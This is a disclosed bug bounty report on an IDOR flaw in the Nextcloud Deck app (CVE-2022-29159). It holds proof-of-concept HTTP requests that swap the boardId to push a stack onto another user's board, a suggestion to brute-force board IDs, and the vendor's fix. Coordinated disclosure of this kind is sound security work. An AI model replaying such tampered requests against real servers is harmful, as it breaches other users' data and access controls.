

6

Nextcloud Deck : Possibility for anyone to add a stack with existing tasks on anyone's board

Share:



SUMMARY BY NEXTCLOUD



Advisory at <https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vqhf-673w-7r3j>

TIMELINE



sup4s submitted a report to Nextcloud.

Jan 14th (11 months ago)

Hi everyone,

Hope you are well !

I found an IDOR vulnerability, allowing any user without privilege to add lists with tasks in any user board.

This was tested on a Nextcloud Hub II server (v23) with the Deck application in version 1.6.0.

Steps To Reproduce:

Beforehand:

- Have an A user with a board ID specific to that user (`boardId` parameter)
- Have a user B with a board ID specific to that user (`boardId` parameter)
- Note that there is no link between our user A and user B

1°) With your user A, rename an existing list belonging to him.

The following PUT request is made :

Code 588 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 PUT /apps/deck/stacks/31 HTTP/1.1
2 Host: nextcloud.yourserver.com
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/8
4 Accept: application/json, text/plain, */*
```

```
8 requesttoken: <token>
9 Content-Length: 136
10 Origin: https://nextcloud.yourserver.com
11 Connection: close
12 Cookie: <your_session_cookies>
13
14 {"title":"IDOR","boardId":14,"deletedAt":0,"lastModified":1642201857,"order":0,"id":
```

Intercept the request, change the `boardId` parameter to that of your victim (user B) and play the modified request..

Check the server response that confirms the vulnerability:

Code 874 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Fri, 14 Jan 2022 23:39:49 GMT
4 Content-Type: application/json; charset=utf-8
5 Content-Length: 135
6 Connection: close
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Pragma: no-cache
9 Cache-Control: no-cache, no-store, must-revalidate
10 Content-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';fram
11 Feature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';m
12 X-Robots-Tag: none
13 Referrer-Policy: no-referrer
14 X-Content-Type-Options: nosniff
15 X-XSS-Protection: 1; mode=block
16 X-Robots-Tag: none
17 X-Download-Options: noopen
18 X-Permitted-Cross-Domain-Policies: none
19 Strict-Transport-Security: max-age=31536000; includeSubDomains;
20
21 {"title":"IDOR_REPORT","boardId":1,"deletedAt":0,"lastModified":1642201857,"order":0
```

ADDITIONAL NOTES.

- This works from one user without privilege to another
- It works from an unprivileged user on the board of an administrator/privileged user
- If this vulnerability is exploited with a list containing several tasks, each containing images, labels, calendar etc., everything is imported to the victim's account
- If our victim deletes the list created without his knowledge, it also deletes it on the attacker's side

Impact

Broken Access Control - IDOR : The impact here is to be able to add lists with tasks on the board of any user and harm them.

We could imagine here brute-forcing the `boardId` parameter starting from 1 to 1000 (for example) to exploit this vulnerability on all the existing users/tables. We could also create on our victim an incalculable number of lists on his board.

Looking forward to exchanging.

Regards,
Supras



OT: posted a comment.

Jan 14th (11 months ago)

Thanks a lot for reporting this potential issue back to us!

Our security team will take a look at this issue as soon as possible. For obvious reasons we'd like to ask you to not disclose this issue to any other party.



nickvergessen Nextcloud staff changed the status to Needs more info.

Jan 17th (10 months ago)

Sending a wrong board id seems to be irrelevant, only the stack id is used and sending a wrong stack id always results in a 403.

Can you check and reconfirm your steps?



supr4s changed the status to New.

Jan 17th (10 months ago)

I had a bit of trouble reproducing the POC but I confirm that the vulnerability exists.

Here are the steps to take, with a web proxy like Burp.

This still applies :

3 Note that there is no link between our user A and user B

1°) User A renames the list "LIST_USERA" from the "BOARD_USERA" board

The following query is performed:

```
Code 167 Bytes Wrap lines Copy Download
1 PUT /apps/deck/stacks/50 HTTP/1.1
2 [...]
3
4 {"title":"LIST_USERA","boardId":27,"deletedAt":0,"lastModified":0,"order":0,"id":50,"
```

boardId of User A = 27

2°) With your user B, now create :

- A new board
- A new list
- Add as many cards as you want with description, label, attachment etc

Now rename the list and intercept the request

```
Code 167 Bytes Wrap lines Copy Download
1 PUT /apps/deck/stacks/53 HTTP/1.1
2 [...]
3
4 {"title":"IDOR_POC","boardId":28,"deletedAt":0,"lastModified":0,"order":999,"id":53,"
```

Change the boardId to 27, corresponding to our user A and play the request.

Now update your board with user A : user B's list is present, with attached cards, attachments, description etc confirming the vulnerability.

On user B's side, the list will have disappeared to slide onto user A.

If that is not enough, I can provide you with a video POC.

Regards,
Supras



[nickvergessen](#) Nextcloud staff posted a comment.

Jan 18th (10 months ago)

The team developed the following patch:

Code 795 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 diff --git a/lib/Service/StackService.php b/lib/Service/StackService.php
2 index ae0a72af7..232dc6fc7 100644
3 --- a/lib/Service/StackService.php
4 +++ b/lib/Service/StackService.php
5 @@ -290,8 +290,8 @@ public function update($id, $title, $boardId, $order, $deletedAt)
6         throw new BadRequestException('order must be a number');
7     }
8
9 -     $this->permissionService->checkPermission($this->stackMapper, $id, Acl::PERM
10 -     if ($this->boardService->isArchived($this->stackMapper, $id)) {
11 +     $this->permissionService->checkPermission($this->stackMapper, $boardId, Acl:
12 +     if ($this->boardService->isArchived($this->stackMapper, $boardId)) {
13         throw new StatusException('Operation not allowed. This board is archived
14     }
15     $stack = $this->stackMapper->find($id);
```

Also we noticed that it only works with boards where you own the stack id yourself (as you can see from the mixup in the var names on the patch).

Can you confirm the patch works?



[sup4s](#) posted a comment.

Jan 18th (10 months ago)

Hi [@nickvergessen](#),

I just tested the patch, I confirm that it fixes the vulnerability.. I now have a 403 Forbidden !
Nice job !

Regards,
Supras



[nickvergessen](#) Nextcloud staff closed the report and changed the status to Resolved. Mar 22nd (8 months ago)

If you have a GitHub account please let us know the username, and we will associate it with the advisory.



sup4s posted a comment.

Mar 22nd (8 months ago)

Hi @nickvergessen,

Here my Github account : @Supr4s

Thanks :)



sup4s posted a comment.

Apr 27th (7 months ago)

Hi @nickvergessen

The report has been closed as resolved but I haven't had a reward yet. Are you maybe waiting for the security advisorie to be released ?

Thanks to you.

Regards,
Supr4s

nickvergessen (Nextcloud staff) updated the severity from Medium to Medium (5.0). May 2nd (7 months ago)

May 2nd (7 months ago)

nickvergessen (Nextcloud staff)

changed the report title from IDOR on Nextcloud Deck : possibility for anyone to add a list with existing tasks on anyone's board to Nextcloud Deck : Possibility for anyone to add a stack with existing tasks on anyone's board.



nickvergessen (Nextcloud staff) posted a comment.

May 2nd (7 months ago)

We plan to release public advisories for this issue on 16.5.22 We've added a draft version of the advisory as summary to this report:

<https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vqhf-673w-7r3j>

Please let us know if you wish any changes to the advisory.

Nextcloud rewarded sup4s with a \$250 bounty. May 2nd (7 months ago)







THANKS FOR THE REWARD :

I just confirmed the advisory.

Regards,

Supras

-  [nickvergessen](#) Nextcloud staff updated CVE reference to [CVE-2022-29159](#). May 5th (7 months ago)
-  [nickvergessen](#) Nextcloud staff requested to disclose this report. May 20th (6 months ago)
-  [supr4s](#) agreed to disclose this report. May 20th (6 months ago)
-  This report has been disclosed. May 20th (6 months ago)